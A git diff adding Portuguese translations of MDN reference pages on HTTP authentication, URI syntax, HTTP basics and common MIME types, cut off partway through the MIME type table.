diff options
Diffstat (limited to 'files/pt-br/web/http')
190 files changed, 17863 insertions, 0 deletions
diff --git a/files/pt-br/web/http/authentication/index.html b/files/pt-br/web/http/authentication/index.html new file mode 100644 index 0000000000..1776299561 --- /dev/null +++ b/files/pt-br/web/http/authentication/index.html @@ -0,0 +1,126 @@ +--- +title: Autenticação HTTP +slug: Web/HTTP/Authentication +tags: + - Autenticação + - Controle de Acesso + - Guía + - Segurança +translation_of: Web/HTTP/Authentication +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">O HTTP fornece uma estrutura geral para controle de acesso e autenticação. A autenticação HTTP mais comum é fundamentada no esquema "Basic". Esta página introduz a estrutura HTTP para autenticação e mostra como restringir acesso ao seu servidor usando o esquema "Basic".</p> + +<h2 id="A_estrutura_geral_de_autenticação_HTTP">A estrutura geral de autenticação HTTP</h2> + +<p>{{RFC("7235")}} define a estrutura de autenticação HTTP que pode ser usada por um servidor para definir uma solicitação ("{{glossary("challenge")}}") do cliente e para um cliente fornecer informações de autenticação. A pergunta e resposta segue um caminho como esse: O servidor responde ao cliente com uma mensagem do tipo {{HTTPStatus("401")}} (Não autorizado) e fornece informações de como autorizar com um cabeçalho de resposta {{HTTPHeader("WWW-Authenticate")}} contendo ao menos uma solicitação. Um cliente que deseja autenticar-se com um servidor pode fazer isso incluindo um campo de cabeçalho de solicitação {{HTTPHeader("WWW-Authenticate")}} com as credenciais. Usualmente um cliente apresentará uma solicitação de senha ao usuário e, em seguida, emitirá uma solicitação incluindo o cabeçalho <code>Authorization</code> correto.</p> + +<p><img alt="A sequence diagram illustrating HTTP messages between a client and a server lifeline." src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;" title="Sequence Diagram of Client-server HTTP Authentication"></p> + +<p>No caso de uma autorização "Basic" (como a mostrada na figura), a troca <strong>deve</strong> acontecer por meio de uma conexão HTTP (TLS) para ser segura.</p> + +<h3 id="Autenticação_de_Proxy">Autenticação de Proxy</h3> + +<p>O mesmo mecanismo de solicitação e resposta pode ser usado para uma <em>autenticação de proxy</em>. Neste caso, é um proxy intermediário que requer autenticação. Como ambas autenticação de recurso e autenticação de proxy podem coexistir, um conjunto diferente de códigos de cabeçalhos e status torna-se necessário. No caso de proxys, o código de status de solicitação é {{HTTPStatus("407")}} (Autenticação de Proxy necessária), o cabeçalho de resposta {{HTTPHeader("Proxy-Authenticate")}} contém ao menos uma solicitação aplicável para o proxy, e o cabeçalho de pedido {{HTTPHeader("Proxy-Authorization")}} é usado para fornecer as credenciais ao servidor proxy.</p> + +<h3 id="Acesso_proibido">Acesso proibido</h3> + +<p>Se um servidor proxy recebe credenciais válidas, mas que não são adequadas para ter acesso a um determinado recurso, o servidor responderá com o código de status <code>Forbidden</code> {{HTTPStatus("403")}}. Ao contrário de {{HTTPStatus("401")}} <code>Unauthorized</code> ou {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, a autenticação é impossível para este usuário.</p> + +<h3 id="Autenticação_de_imagens_de_origem_cruzada">Autenticação de imagens de origem cruzada</h3> + +<p>Um potencial buraco de segurança que foi corrigido recentemente pelos navegadores é a autenticação de imagens cross-site (origem cruzada). Do <a href="/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> em diante, recursos de imagem carregados de diferentes origens não são mais capazes de adicionar diálogos de autenticação HTTP ({{bug(1423146)}}), impedindo que as credencias do usuário sejam roubadas se invasores conseguissem incorporar uma imagem arbitrária em uma página de terceiros.</p> + +<h3 id="A_codificação_de_caracteres_da_autenticação_HTTP">A codificação de caracteres da autenticação HTTP</h3> + +<p>Os navegadores usam a codificação <code>utf-8</code> para nomes de usuários e senhas. Firefox usava <code>ISO-8859-1</code>, mas alterou para <code>utf-8</code> por questões de compatiblidade com outros navegadores, assim como para evitar os potenciais problemas descritos em {{bug(1419658)}}.</p> + +<p> </p> + +<h3 id="Cabeçalhos_WWW-Authenticate_e_Proxy-Authenticate">Cabeçalhos <code>WWW-Authenticate</code> e <code>Proxy-Authenticate</code></h3> + +<p>Os cabeçalhos de resposta {{HTTPHeader("WWW-Authenticate")}} e {{HTTPHeader("Proxy-Authenticate")}} definem o método de autenticação que deve ser usado para ganhar acesso a um recurso. Eles precisam especificar que esquema de autenticação é usado para que o cliente que deseja autorizar saiba como fornecer as credenciais. A sintaxe para esses cabeçalhos é a seguinte:</p> + +<pre class="syntaxbox">WWW-Authenticate: <type> realm=<realm> +Proxy-Authenticate: <type> realm=<realm> +</pre> + +<p><code><type></code> é o esquema de autenticação ("Basic" é o esquema mais comum e será introduzido abaixo). O <em>realm</em> é usado para indicar a área protegida ou o escopo de proteção. Poderia ser uma mensagem parecida com "Access to the staging site" (Acesso ao site de teste), portanto o usuário saberá qual área ele está tentando acessar.</p> + +<h3 id="Cabeçalhos_Authorization_e_Proxy-Authorization">Cabeçalhos <code>Authorization</code> e <code>Proxy-Authorization</code></h3> + +<p>Os cabeçalhos de solicitação {{HTTPHeader("Authorization")}} e {{HTTPHeader("Proxy-Authorization")}} contém as credenciais para autenticar um agente de usuário com um servidor proxy. Aqui o tipo é novamente necessário, seguido pelas credenciais, que podem ser codificadas ou criptografadas dependendo do esquema de autenticação usado.</p> + +<pre class="syntaxbox">Authorization: <type> <credentials> +Proxy-Authorization: <type> <credentials> +</pre> + +<h3 id="Esquemas_de_autenticação">Esquemas de autenticação</h3> + +<p>A estrutura geral de autenticação HTTP é usado por vários esquemas de autenticação. Os esquemas podem divergir na força da segurança e na disponibilidade do software cliente ou servidor.</p> + +<p>O esquema mais comum de autenticação é o "Basic", que é introduzido com mais detalhes abaixo. IANA mantém uma <a class="external external-icon" href="https://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">lista de esquemas de autenticação</a>, mas existem outros esquemas oferecidos por serviços de hospedagem, como Amazon AWS. Os esquemas de autenticação comuns incluem:</p> + +<ul> + <li><strong>Basic</strong> (veja {{rfc(7617)}}, credenciais codificadas em base64. Veja abaixo mais informações.),</li> + <li><strong>Bearer</strong> (veja {{rfc(6750)}}, tokens bearer (de portador) para acessar recursos protegidos por OAuth 2.0),</li> + <li><strong>Digest</strong> (veja {{rfc(7616)}}, apenas hash md5 é suportado no Firefox, veja {{bug(472823)}} para o suporte de encriptação SHA),</li> + <li><strong>HOBA</strong> (veja {{rfc(7486)}} (esboço), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication (Autenticação Vinculada à Origem HTTP), baseado em assinatura digital),</li> + <li><strong>Mutual</strong> (veja <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li> + <li> + <p><strong>AWS4-HMAC-SHA256</strong> (veja <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Documentação AWS</a>).</p> + </li> +</ul> + +<h2 id="Esquema_Basic_de_autenticação">Esquema Basic de autenticação</h2> + +<p>O esquema "Basic" de autenticação HTTP é definido em {{rfc(7617)}}, transmitindo credenciais como pares de ID/senhas de usuários, codificadas usando base64.</p> + +<h3 id="Segurança_da_autenticação_básica">Segurança da autenticação básica</h3> + +<p>Como o ID e senha do usuário são transmitidos através da rede como texto claro (é codificado em base64, mas base64 é uma codificação reversível), o esquema básico de autenticação não é seguro. HTTPS / TLS devem ser usados em conjunto com autenticação básica. Sem esses aprimoramentos de segurança adicionais, a autenticação básica não deve ser usada para proteger informação sensível ou valiosa.</p> + +<h3 id="Restringindo_acesso_no_Apache_e_autorização_básica">Restringindo acesso no Apache e autorização básica</h3> + +<p>Para proteger com senha um diretório em um servidor Apache, você precisará de um arquivo <code>.htaccess</code> e um <code>.htpasswd</code>.</p> + +<p>O arquivo <code>.htaccess</code> normalmente parece com isso:</p> + +<pre>AuthType Basic +AuthName "Access to the staging site" +AuthUserFile /path/to/.htpasswd +Require valid-user</pre> + +<p>O arquivo <code>.htaccess</code> referencia um arquivo <code>.htpasswd</code> em que cada linha contém um nome de usuário e senha separados por dois pontos (":"). Você não pode ver as senhas reais porque foram <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">criptografadas</a> (em md5, neste caso). Note que você pode renomear seu arquivo <code>.htpasswd</code> caso queira, mas tenha em mente que este arquivo não deve ser acessado por ninguém. (Apache normalmente é configurado para previnir acesso aos arquivos <code>.ht*</code>).</p> + +<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. +user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ +</pre> + +<h3 id="Restringindo_acesso_no_nginx_e_autenticação_básica">Restringindo acesso no nginx e autenticação básica</h3> + +<p>No nginx, você precisará especificar uma área que que você protegerá e a diretiva <code>auth_basic</code> que fornece o nome para a área protegida por senha. A diretiva <code>auth_basic_user_file</code> aponta para um arquivo .htpasswd contentdo as credenciais do usuário criptografadas, assim como no exemplo Apache acima.</p> + +<pre>location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; +}</pre> + +<h3 id="Acesso_usando_as_credenciais_na_URL">Acesso usando as credenciais na URL</h3> + +<p>Vários clientes também permitem que você evite o prompt de login usando uma URL codificada contendo o nome de usuário e senha como esta:</p> + +<pre class="example-bad">https://username:password@www.example.com/</pre> + +<p><strong>O uso destas URLs está obsoleto</strong>. No Chrome, a parte <code>username:password@</code> nas URLs é <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">retirada</a> por razões de segurança. No Firefox, é verificado se o site realmente Airequer autenticação e, se não, Firefox alertará o usuário com uma mensagem "Você está prestes a logar no site “www.example.com” com seu nome de usuário "username", mas o website não requer autenticação. Isso pode ser uma tentativa de enganá-lo".</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/pt-br/web/http/basico_sobre_http/identifying_resources_on_the_web/index.html b/files/pt-br/web/http/basico_sobre_http/identifying_resources_on_the_web/index.html new file mode 100644 index 0000000000..42830a10b9 --- /dev/null +++ b/files/pt-br/web/http/basico_sobre_http/identifying_resources_on_the_web/index.html @@ -0,0 +1,183 @@ +--- +title: Identificando recursos na web +slug: Web/HTTP/Basico_sobre_HTTP/Identifying_resources_on_the_Web +tags: + - Esquema + - HTTP + - O que é HTTP? + - Protocolo HTTP + - Sintaxe URL + - URI + - URL + - query + - resources +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">O alvo de uma requisição HTTP é chamada de "resource", ou recurso em português, com a natureza ainda não definida; Isso pode ser um documento, uma foto ou qualquer outra coisa. Cada recurso é identificado por uma Identificação de recursos uniforme, do inglês <strong>Uniform Resource Identifier </strong>({{Glossary("URI")}}) usada pelo HTTP para identificar recursos.</p> + +<p>A identidade e a localização de recursos na Web são fornecidas, principalmente por um único URL (Uniform Resource Locator, um tipo de URI). Pode ser que as vezes as a identidade e a localização não são dadas pelo mesmo URI: O HTTP usa um cabeçalho HTTP específico, {{HTTPHeader("Alt-Svc")}} quando o recurso solicitado quer que o cliente acesse-o de outra localização</p> + +<h2 id="URLs_e_URNs">URLs e URNs</h2> + +<h3 id="URLs">URLs</h3> + +<p>A forma mais comum de URL é o Uniform Resource Locator ({{Glossary("URL")}}) , que é conhecido como endereço de Web.</p> + +<pre>https://developer.mozilla.org +https://developer.mozilla.org/pt-BR/docs/Learn/ +https://developer.mozilla.org/pt-BR/search?q=URL</pre> + +<p>Qualquer um desses URLs podem ser digitado na barra de endereços do seu navegador dizendo para carregar a página associada (recurso).</p> + +<p>Uma URL é composta por diferentes partes, algumas são estritamente necessárias e outras são opcionais. Um exemplo mais complexo seria algo como isso:</p> + +<pre>http://www.exemplo.com:80/pasta/para/meu-arquivo.html?chave1=valor1&chave2=valor2#AlgumaCoisaNoDocumento</pre> + +<h3 id="URNs">URNs</h3> + +<p>Um Nome de Recurso Uniforme do inglês Uniform Resource Name (URN) é uma URI que identifica um recurso pelo nome em um namespace particular.</p> + +<pre>urn:isbn:9780141036144 +urn:ietf:rfc:7230 +</pre> + +<p>As duas URNs correspondem</p> + +<ul> + <li>o livro Nineteen Eighty-Four por George Orwell,</li> + <li>a especificação 720 da IETF, Hypertext Transfer Protocol (HTTP/1.1): Sintaxe de mensagem e rotas.</li> +</ul> + +<h2 id="Sintaxe_daUniform_Resource_Identifiers_(URIs)">Sintaxe daUniform Resource Identifiers (URIs)</h2> + +<h3 id="Esquema_ou_protocolo">Esquema ou protocolo</h3> + +<dl> + <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>http://</code> é o protocolo. Ele indica qual é o protocolo que o navegador irá usar. Usualmente o protocolo é o HTTP, ou sua versão segura, HTTPS. A Web requer um desses dois, mas os navegadores tambem sabem como lidar com outros protocolos como o <code>mailto:</code> (para abrir um cliente de email) ou o <code>ftp:</code> para fazer uma transferêcia de arquivo, então não fique surpreso se ver alguns desses protocolos. Esquemas comuns são:</dd> +</dl> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Esquema</th> + <th scope="col">Descrição</th> + </tr> + </thead> + <tbody> + <tr> + <td>data</td> + <td><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URI de dados</a></td> + </tr> + <tr> + <td>file</td> + <td>Nomes de arquivos específicos do host</td> + </tr> + <tr> + <td>ftp</td> + <td><a href="/en-US/docs/Glossary/FTP">Protocolo de transferência de arquivo</a></td> + </tr> + <tr> + <td>http/https</td> + <td><a href="/en-US/docs/Glossary/HTTP">Hyper text transfer protocol (Secure)</a></td> + </tr> + <tr> + <td>mailto</td> + <td>Endereço de correio eletrônico (e-mail)</td> + </tr> + <tr> + <td>ssh</td> + <td>Secure shell</td> + </tr> + <tr> + <td>tel</td> + <td>telefone</td> + </tr> + <tr> + <td>urn</td> + <td>Uniform Resource Names</td> + </tr> + <tr> + <td>view-source</td> + <td>Código fonte de um recurso</td> + </tr> + <tr> + <td>ws/wss</td> + <td>Conecções de <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> (Encriptadas)</td> + </tr> + </tbody> +</table> + +<h3 id="Autoridade">Autoridade</h3> + +<dl> + <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>www.example.com</code> é o nome de domínio ou autoridade que governa o namespace. Ele indica qual servidor web será solicitado. Alternativamente, é possível utilizar um {{Glossary("IP address")}}, mas isso pode ser menos conveniente e não é muito utilizado na Web.</dd> +</dl> + +<h3 id="Porta">Porta</h3> + +<dl> + <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>:80</code> é a porta nesta instância . Ela indica qual é o "portão" técnico usado para acessar os recursos no servidor web. Usualmente ela é omitida se o servidor web utiliza a porta padrão do protocolo HTTP (80 para HTTP e 443 para HTTPS) para garantir o acesso aos recursos. Do contrário, ela se torna obrigatória.</dd> +</dl> + +<h3 id="Caminhos">Caminhos</h3> + +<dl> + <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>/path/to/myfile.html</code> é o caminho para o recurso no servidor Web. Nos primeiros dias da Web, um caminho era representado pelo caminho físico correspondente no servidor web. Hoje em dia isso é mais uma abstração tratada pelos servidores Web não sendo necessariamente o endereço físico do arquivo em questão.</dd> +</dl> + +<h3 id="Query_Parâmetros">Query / Parâmetros</h3> + +<dl> + <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>?key1=value1&key2=value2</code> são parâmetros extras fornecidos ao servidor Web. Eles são uma lista de pares chaves/valores separados com o símbolo <code>&</code> O servidor web pode usar esses parametros para fazer coisas extras depois retornando o recurso para o usuário. Cada servidor web tem suas regras em relação aos parâmetros, e o unico jeito confiável de saber como um servidor Web especifico trata os parâmetros é perguntando o dono do servidor.</dd> +</dl> + +<h3 id="Fragmentos">Fragmentos</h3> + +<dl> + <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>#SomewhereInTheDocument</code> é uma âncora para outra parte do próprio recurso. Uma âncora representa uma espécie de "marcador" dentro do recurso, dando ao navegador as instruções para mostrar o conteúdo localizado naquele ponto "marcado". Em um documento HTML, por exemplo, o navegador erá dar scroll para a ancora em um ponto definido; em um vídeo ou audio, o navegor erá tentar ir para o tempo que a âncora representa. Vale ressaltar que a parte após o #, também conhecido como identificador de fragmento, nunca é enviado ao servidor com o pedido. </dd> +</dl> + +<h2 id="Notas_de_uso">Notas de uso</h2> + +<p>Ao usar URLs em conteúdo {{Glossary("HTML")}} em geral se deve usar apenas alguns desses esquemas URL. Apenas os esquemas HTTP e HTTPS devem ser usados quando se faz referência a subrecursos — isto é, arquivos carregados como parte de um documento maior. Por razões de segurança, os navegadores estão reduzindo cada vez mais o suporte a FTP para o carregamento de subrecursos.</p> + +<p>FTP ainda é aceito em alguns casos específicos de acesso direto, como quando a URL é digitada diretamente na barra do navegador ou como o alvo em um link, ainda que alguns navegadores possam delegar o carregamento do conteúdo FTP para outra aplicação.</p> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>https://developer.mozilla.org/en-US/docs/Learn +tel:+1-816-555-1212 +git@github.com:mdn/browser-compat-data.git +ftp://example.org/resource.txt +urn:isbn:9780141036144 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">O que é uma URL?</a></li> + <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">Lista de esquemas URI IANA</a></li> +</ul> diff --git a/files/pt-br/web/http/basico_sobre_http/index.html b/files/pt-br/web/http/basico_sobre_http/index.html new file mode 100644 index 0000000000..a89b456f12 --- /dev/null +++ b/files/pt-br/web/http/basico_sobre_http/index.html @@ -0,0 +1,61 @@ +--- +title: Básico sobre HTTP +slug: Web/HTTP/Basico_sobre_HTTP +translation_of: Web/HTTP/Basics_of_HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP é um protocolo bem extensivo. Isso depende um pouco do conceito básico com noção de recursos e URIs, uma simples estrutura de mensagens, e uma estrutura de cliente-servidor para a comunicação ocorrer. Em cima destes conceitos básicos, várias versões surgiram ao longo do tempo, adicionando novas funcionalidades e novas semanticas para criar novos métodos HTTP ou cabeçalhos.</p> + +<h2 id="Artigos">Artigos</h2> + +<dl> + <dt><a href="/en-US/docs/Web/HTTP/Overview">Visão geral sobre HTTP</a></dt> + <dd> + <p>Descreve o que é HTTP e quais as regras para arquitetura Web, sua posição na lista de protocolos.</p> + </dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolução do HTTP</a></dt> + <dd> + <p>HTTP foi criada no inicio dos anos 1990 e vem evolindo ao longo do tempo. Esse artigo passa por sua história e descreve HTTP/0.9, HTTP/1.0, HTTP/1.1, e o moderno HTTP/2 bem como pequenas novidades adicionadas ao longo de seus anos.</p> + </dd> + <dt><strong>Negociação entre versões HTTP</strong></dt> + <dd> + <p>Explicações de como um cliente e um servidor conseguem negociar em uma versão expecífica do HTTP e enventuais atualizaçõs nos protocolos usados;</p> + </dd> + <dt><a href="/en-US/docs/Web/HTTP/Resources_and_URIs">Recursos e URIs</a></dt> + <dd> + <p>Uma breve introdução sobre noção de recursos, identicadores e localizações na Web.</p> + </dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificando recursos na Web</a></dt> + <dd>Descreve como os recursos Web são referênciados e como encontrar eles.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt> + <dd> + <p>Um tipo especifico de URIs que incorpora diretamente os recursos apresentados, Data URIs são muito convenientes, mas tem algumas ressalvas</p> + </dd> + <dt><strong>Separando identidades e localização de recursos: O cabeçalho Alt-Svc HTTP</strong></dt> + <dd>Na maioria das vezes, a indentidade ea localização de um recurso da Web são compartilhados, isso pode ser mudado com no cabeçalho {{HTTPHeader("Alt-Svc")}}.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a></dt> + <dd>Desde HTTP/1.0, diferentes tipos de conteúdos poderam ser transmitidos. Esse artigo explica como funciona usando o {cabeçalho {HTTPHeader("Content-Type")}} e o MIME standard.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">Escolhendo entre URLs www e sem-www</a></dt> + <dd> + <p>Ajuda de como usar o prefixo www no domínio ou não, esse artigo fala as consequencias da escolhe e também como fazer isso.</p> + </dd> + <dt>Fluxo de sessões HTTP</dt> + <dd> + <p>Esse artigo fundamente descreve uma típica sessão HTTP: o que acontece por trás do do navegador quando você clica em um link.</p> + </dd> + <dt><a href="/en-US/docs/Web/HTTP/Messages">Mensagens HTTP</a></dt> + <dd> + <p>Mensagens HTTP transmitidas durante o pedido ou resposta tem uma clara estrutura; isso introduz descrição sobre essas estrutura no artigo, seus proprósitos e suas possibilidades.</p> + </dd> + <dt>Quadro e estrutura de mensagens no HTTP/2</dt> + <dd> + <p>HTTP/2 junta e representa mensagens do HTTP/1.x em um quadro binário. Esse artigo explica a estrutura do quadro, sua finalidade ea maneira como ele é codificado.</p> + </dd> + <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Gerenciamento de conexão no HTTP/1.x</a></dt> + <dd>HTTP/1.1 foi a primeira versão do HTTP a suportar conexão constante e canalizar elas. Esse artigo explica sobre estes dois conceitos.</dd> + <dt>Gerenciamento de conexão no HTTP/2</dt> + <dd>HTTP/2 <span id="result_box" lang="pt"><span>Revisitou completamente como as conexões são criadas e mantidas</span></span>: esse artigo explica como os quadros HTTP permitem multiplexação e resolver o bloco 'head-of-line' bloqueio das versões anteirores do HTTP.</dd> + <dt><a href="/en-US/docs/Web/HTTP/Content_negotiation">Conteúdo da negociação</a></dt> + <dd>HTTP introduz um conjunto de cabeçalhos, começando com <code>Accept-</code> como o meio que o navegador anuncia o formato, linguagem, ou a codificação é preferida. Esse artigo explica como esse anuncio acontece, como o servidor é esperado para reagir e como será escolhido a melhor resposta.</dd> +</dl> diff --git a/files/pt-br/web/http/basico_sobre_http/mime_types/complete_list_of_mime_types/index.html b/files/pt-br/web/http/basico_sobre_http/mime_types/complete_list_of_mime_types/index.html new file mode 100644 index 0000000000..d8f2b6898d --- /dev/null +++ b/files/pt-br/web/http/basico_sobre_http/mime_types/complete_list_of_mime_types/index.html @@ -0,0 +1,336 @@ +--- +title: Lista Incompleta de tipos MIME +slug: Web/HTTP/Basico_sobre_HTTP/MIME_types/Complete_list_of_MIME_types +tags: + - Extensões HTTP + - Tipos MIME +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +--- +<div>{{HTTPSidebar}}</div> + +<p>Abaixo uma lista de tipos de MIME, associadas por tipos de documentos, ordenados por suas extensões comuns.</p> + +<p><br> + Há dois tipo MIME que são importantes para tipos padrões:</p> + +<ul> + <li><code>text/plain</code> é o tipo padrão para arquivos de texto. Um arquivo de texto deve ser legível para um ser humano, e não deve conter dados binários.</li> + <li><code>application/octet-stream</code> É um tipo padrão para todos outros casos. Um tipo de arquivo desconhecido deveria usar este tipo. Navegadores tomarão mais cuidado ao manipular esses arquivos, tentando proteger o usuário e prevenir comportamentos perigosos.</li> +</ul> + +<p>IANA é o registrador official de tipos de mídia MIME e mantém uma <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">lista de todos tipos oficiais de MIME</a>. Esta tabela lista alguns tipos de MIME importantes para a Web.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Extensão</th> + <th scope="col">Tipo do documento</th> + <th scope="col">Tipo MIME</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>.aac</code></td> + <td>Arquivo de audio AAC</td> + <td><code>audio/aac</code></td> + </tr> + <tr> + <td><code>.abw</code></td> + <td>Documento <a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a></td> + <td><code>application/x-abiword</code></td> + </tr> + <tr> + <td><code>.arc</code></td> + <td>Archive document (multiple files embedded)</td> + <td><code>application/octet-stream</code></td> + </tr> + <tr> + <td><code>.avi</code></td> + <td>Arquivo de audio e vídeo <span class="tlid-translation translation"><span title="">Intercalar</span></span> AVI</td> + <td><code>video/x-msvideo</code></td> + </tr> + <tr> + <td><code>.azw</code></td> + <td>Formato eBook do Amazon Kindle</td> + <td><code>application/vnd.amazon.ebook</code></td> + </tr> + <tr> + <td><code>.bin</code></td> + <td><span class="tlid-translation translation"><span title="">Qualquer tipo de dados binários</span></span></td> + <td><code>application/octet-stream</code></td> + </tr> + <tr> + <td><code>.bz</code></td> + <td>A<span class="tlid-translation translation"><span title="">rquivo compactado</span></span> BZip</td> + <td><code>application/x-bzip</code></td> + </tr> + <tr> + <td><code>.bz2</code></td> + <td>A<span class="tlid-translation translation"><span title="">rquivo compactado</span></span> BZip2</td> + <td><code>application/x-bzip2</code></td> + </tr> + <tr> + <td><code>.csh</code></td> + <td>C-Shell script</td> + <td><code>application/x-csh</code></td> + </tr> + <tr> + <td><code>.css</code></td> + <td>Cascading Style Sheets (CSS)</td> + <td><code>text/css</code></td> + </tr> + <tr> + <td><code>.csv</code></td> + <td>Comma-separated values (CSV)</td> + <td><code>text/csv</code></td> + </tr> + <tr> + <td><code>.doc</code></td> + <td>Microsoft Word</td> + <td><code>application/msword</code></td> + </tr> + <tr> + <td><code>.eot</code></td> + <td>MS Embedded OpenType fonts</td> + <td><code>application/vnd.ms-fontobject</code></td> + </tr> + <tr> + <td><code>.epub</code></td> + <td>Electronic publication (EPUB)</td> + <td><code>application/epub+zip</code></td> + </tr> + <tr> + <td><code>.gif</code></td> + <td>Graphics Interchange Format (GIF)</td> + <td><code>image/gif</code></td> + </tr> + <tr> + <td><code>.htm<br> + .html</code></td> + <td>HyperText Markup Language (HTML)</td> + <td><code>text/html</code></td> + </tr> + <tr> + <td><code>.ico</code></td> + <td>Icon format</td> + <td><code>image/x-icon</code></td> + </tr> + <tr> + <td><code>.ics</code></td> + <td>iCalendar format</td> + <td><code>text/calendar</code></td> + </tr> + <tr> + <td><code>.jar</code></td> + <td>Java Archive (JAR)</td> + <td><code>application/java-archive</code></td> + </tr> + <tr> + <td><code>.jpeg</code><br> + <code>.jpg</code></td> + <td>JPEG images</td> + <td><code>image/jpeg</code></td> + </tr> + <tr> + <td><code>.js</code></td> + <td>JavaScript (ECMAScript)</td> + <td><code>application/javascript</code></td> + </tr> + <tr> + <td><code>.json</code></td> + <td>JSON format</td> + <td><code>application/json</code></td> + </tr> + <tr> + <td><code>.mid</code><br> + <code>.midi</code></td> + <td>Musical Instrument Digital Interface (MIDI)</td> + <td><code>audio/midi</code></td> + </tr> + <tr> + <td><code>.mpeg</code></td> + <td>MPEG Video</td> + <td><code>video/mpeg</code></td> + </tr> + <tr> + <td><code>.mpkg</code></td> + <td>Apple Installer Package</td> + <td><code>application/vnd.apple.installer+xml</code></td> + </tr> + <tr> + <td><code>.odp</code></td> + <td>OpenDocument presentation document</td> + <td><code>application/vnd.oasis.opendocument.presentation</code></td> + </tr> + <tr> + <td><code>.ods</code></td> + <td>OpenDocument spreadsheet document</td> + <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td> + </tr> + <tr> + <td><code>.odt</code></td> + <td>OpenDocument text document</td> + <td><code>application/vnd.oasis.opendocument.text</code></td> + </tr> + <tr> + <td><code>.oga</code></td> + <td>OGG audio</td> + <td><code>audio/ogg</code></td> + </tr> + <tr> + <td><code>.ogv</code></td> + <td>OGG video</td> + <td><code>video/ogg</code></td> + </tr> + <tr> + <td><code>.ogx</code></td> + <td>OGG</td> + <td><code>application/ogg</code></td> + </tr> + <tr> + <td><code>.otf</code></td> + <td>OpenType font</td> + <td><code>font/otf</code></td> + </tr> + <tr> + <td><code>.png</code></td> + <td>Portable Network Graphics</td> + <td><code>image/png</code></td> + </tr> + <tr> + <td><code>.pdf</code></td> + <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td> + <td><code>application/pdf</code></td> + </tr> + <tr> + <td><code>.ppt</code></td> + <td>Microsoft PowerPoint</td> + <td><code>application/vnd.ms-powerpoint</code></td> + </tr> + <tr> + <td><code>.rar</code></td> + <td>RAR archive</td> + <td><code>application/x-rar-compressed</code></td> + </tr> + <tr> + <td><code>.rtf</code></td> + <td>Rich Text Format (RTF)</td> + <td><code>application/rtf</code></td> + </tr> + <tr> + <td><code>.sh</code></td> + <td>Bourne shell script</td> + <td><code>application/x-sh</code></td> + </tr> + <tr> + <td><code>.svg</code></td> + <td>Scalable Vector Graphics (SVG)</td> + <td><code>image/svg+xml</code></td> + 